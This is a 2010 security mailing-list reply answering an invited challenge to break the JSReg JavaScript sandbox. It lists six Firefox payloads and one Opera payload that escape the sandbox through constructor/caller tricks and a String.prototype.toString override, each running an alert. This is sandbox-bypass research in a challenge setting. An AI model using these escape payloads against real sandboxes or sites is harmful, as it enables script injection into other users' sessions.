[WEB SECURITY] JSReg now on acid

Stefano Di Paola stefano.dipaola at wisec.it
Sat Mar 13 13:47:09 EST 2010


Hi Gaz, 

> 
> It still isn't perfect the loop checks need to be improved and the
> "in" operator could do with another method but it's the best I've got
> so far.
> 
> <http://www.businessinfo.co.uk/labs/jsreg/jsreg.html>
> 
> This is the most secure JavaScript sandbox ever and cannot be broken
> by mortal hands, if Stefano Di Paola was to attempt to break it I
> would imagine the challenge would be to great for him. Likewise Jesse
8< !Snip! o_O 8<

you call, I execute. :)

== Firefox:
6 examples for the same concept: use constructor with nested call
abusing caller to get Function native reference.

1.
try{
throw Error
}catch(e){ e.constructor(
{ toString:function(){alert(arguments.callee.caller("alert(window)")())}} ) }

2.
Error.constructor({toString:function(){arguments.callee.caller("alert(window)")()}});

3.
(2222..toString).constructor({toString:function(){arguments.callee.caller("alert(window)")()}})

4.
({}.toString).constructor({toString:function(){alert(arguments.callee.caller("alert(window)")())}})

5.
(Object).constructor({toString:function(){alert(arguments.callee.caller)}})

6.
ts={toString:function(){arguments.callee.caller.toString=function(){ arguments.callee.caller("alert(window)")()};Function(arguments.callee.caller)}};
ts in [this] 

== Opera:
Different concept, this time prototype native objects and rewrite of
toString with a try{}catch(){} block returning always eval until is
executed with the real one.

String.prototype.toString=function(){
 try{ 
  return "eval";
 }catch(e){}
}
s=new String(); 
eval(s+"")('document.write("<script>alert(location)</script>")');

Explorer: 
Can't find anything cause it sucks :D (Hey MS, joking :P)

It was a pleasure playing around with JSreg.

Keep up good work and cheers!
Stefano

>  Ruderman or Jeff Walden would find it an impossible task to return to
> window. Giorgio Maone may think he knows JavaScript but would he ever
> dare to break JSReg? I think not as I've said it is very difficult.
> Kuza might think he could spot implementation mistakes but I doubt
> there are any. As for Eduardo Vela, yeah he broke it in the past but
> then it was easy. Now it's a real challenge, I don't see him even
> coming close to find any sort of RegEx mistake. If I was to challenge
> some researchers to break it Mario Heiderich would never win it, he
> wouldn't even come close to breaking it. Thornmaker might be able to
> pull some phpids hacks out of the bag but can he come even close to a
> real challenge I think not. As for you, yes you. You might have
> noticed I didn't mention your name, that's because I don't think you
> can break it. Prove me wrong.
> 
> Cheers
> 
> Gareth
-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
..................



----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/archive/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

Join WASC on LinkedIn
http://www.linkedin.com/e/gis/83336/4B20E4374DBA



More information about the websecurity mailing list